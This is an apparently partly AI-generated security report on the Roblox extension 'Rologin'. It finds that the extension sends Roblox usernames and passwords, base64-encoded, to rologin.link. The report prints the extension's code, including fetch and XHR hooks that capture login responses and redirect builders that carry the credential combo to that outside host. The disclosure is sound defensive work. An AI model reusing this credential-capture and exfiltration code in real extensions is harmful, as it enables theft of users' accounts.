Is Rologin: Roblox Account Checker & Account Manager safe?
Rologin sends Roblox usernames and passwords in encoded status URLs to rologin.link.
Rologin fills Roblox login forms from username:password values in the login URL and monitors Roblox login responses. On login failure, and on some success flows, it redirects the tab to rologin.link with a base64-encoded URL parameter that includes the Roblox account credentials and status details.
Who publishes itSpades Hosting - no other listings under this identity
Spades Hosting - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Roblox credentials enter rologin.link status URLs
Driving a Roblox login stores username/password as `username:password`.
Failure redirects to `rologin.link/status/fail?` with base64 of the error plus combo.
Success/bulk send `combo=user:pass` in base64 to `rologin.link/status/success?`.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You use the extension to submit a Roblox account login.
This can happen through the account-manager login flow or a rologin.link login flow.
The extension places the Roblox username and password combo into a rologin.link status redirect.
Failure redirects are enabled by default; success redirects occur when that option or bulk mode is enabled.
- Your Roblox usernameplayer@example.com
This identifies which Roblox account the login attempt belongs to.
- Your Roblox passwordCorrectHorseBatteryStaple1 (illustrative)
This is enough to try signing in to the Roblox account when combined with the username.
- Login result textIncorrect username or password
This explains why the extension sent the failure status page.
- Status page destinationhttps://rologin.link/status/fail
This is the remote page that receives the reversible account combo in its URL.
Navigation request generated by the extension; no request body is used or recorded in the available evidence.
Base64 changes how the status URL looks, but it is reversible and decodes back to the account combo; the values shown here are illustrative, not captured traffic.
Incorrect username or password&player@example.com:CorrectHorseBatteryStaple1The shipped code stores the credentials, observes Roblox auth, and builds rologin.link redirects
Credential combo creation
content.jsasync function login(tabId) { if (!document.location.href.includes("?")) return; const encodedAccount = decodeURIComponent(document.location.href.split("?")[1]); if (!/^[A-Za-z0-9+/=]*$/.test(encodedAccount)) return; let account = atob(encodedAccount.trim()); if (!account || !account.includes(":")) return; let settings; if (account.includes("@-")) { const parts = account.split("@-"); account = parts[0]; settings = parts[1]; } const [username, password] = account.split(":"); account = `${username.toLowerCase()}:${password}`; const usernameElem = await waitForElement("#login-username"); if (!usernameElem) return handleRobloxAccountManager(document.location.href); const passwordElem = await waitForElement("#login-password"); const loginElem = await waitForElement("#login-button"); if (usernameElem && passwordElem && loginElem) { await redefineValue(usernameElem, username); await redefineValue(passwordElem, password); chrome.storage.local.get("shouldLogin", (data) => { if (data.shouldLogin ?? true) loginElem.click(); }); await chrome.storage.local.set({ [`loggingInAccounts_${tabId}`]: { account, settings }, }); }}Auth response capture
injected.jsfunction installRobloxAuthHooks(tabId) { const originalFetch = window.fetch; window.fetch = async (...args) => { const input = args[0]; const requestUrl = typeof input === "string" ? input : input.url; if (/^https:\/\/auth\.roblox\.com\/[^/]+\/login(\?|$)/.test(requestUrl)) { const response = await originalFetch(...args); response.clone().text().then((data) => { window.postMessage({ name: "auth", url: requestUrl, data, tabId }, "*"); }); return response; } return originalFetch(...args); }; const originalSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send = function (...args) { const request = this; const originalOnload = request.onload; request.onload = function () { if ( request.responseURL && /^https:\/\/auth\.roblox\.com\/[^/]+\/login(\?|$)/.test(request.responseURL) ) { window.postMessage( { name: "auth", url: request.responseURL, data: request.responseText, tabId, }, "*", ); } if (originalOnload) originalOnload.apply(request, args); }; return originalSend.apply(this, args); };}Failure redirect construction
content.jsfunction handleFailedRobloxLogin(response, tabId, account, settings) { if (!response.errors) return; const [errors] = response.errors; chrome.storage.local.get("shouldfailRedirect", async (data) => { const failRedirectEnabled = data.shouldfailRedirect ?? true; let errorText = ""; if (errors.message == "Incorrect username or password. Please try again.") { errorText = "Incorrect username or password"; } else if (errors.message == "Account has been locked. Please request a password reset.") { errorText = "Account has been locked"; } if (!errorText) return; await chrome.storage.local.remove(`loggingInAccounts_${tabId}`); await chrome.storage.local.get("shouldFailClose", async (data) => { const closeTabEnabled = data.shouldFailClose ?? false; if (closeTabEnabled && settings !== "DIRECT") { chrome.runtime.sendMessage({ action: "closeCurrentTab" }); } }); if (!failRedirectEnabled) return; const encoded = btoa(`${errorText}&${account}`); chrome.runtime.sendMessage({ action: "updateTab", url: "https://rologin.link/status/fail?" + encoded, }); });}Success redirect construction
background.jsasync function redirectSuccessfulLogin(tabId, account, accountObject, shouldRedirect) { if (!shouldRedirect) return; const { userid, name, robux, ageBand, verified } = accountObject; const thumbnail = userid ? rologinAccounts[name]?.thumbnail || (await fetchThumbnail(userid)) || undefined : undefined; const query = `combo=${encodeURIComponent(account)}` + `&thumbnail=${encodeURIComponent(thumbnail ?? "")}` + `&robux=${encodeURIComponent(robux ?? "FAIL")}` + `&ageband=${encodeURIComponent(ageBand ?? "FAIL")}` + `&verified=${encodeURIComponent(verified ?? "FAIL")}`; const statusUrl = "https://rologin.link/status/success?" + btoa(query); await queueTabUpdate(tabId, statusUrl);}What it can do
Permissions this extension asks for, as declared in version 1.6.16. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on roblox.com
*://*.roblox.com/*
Store data in your browser
storage
Read and change cookies, including the ones that keep you signed in
cookies
See the address and title of every tab you have open
tabs
Where it sends data
Destinations our analysis observed Rologin: Roblox Account Checker & Account Manager contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- rologin.link
Rologin: Roblox Account Checker & Account Manager sends data to rologin.link. No other extension we have analysed sends data here.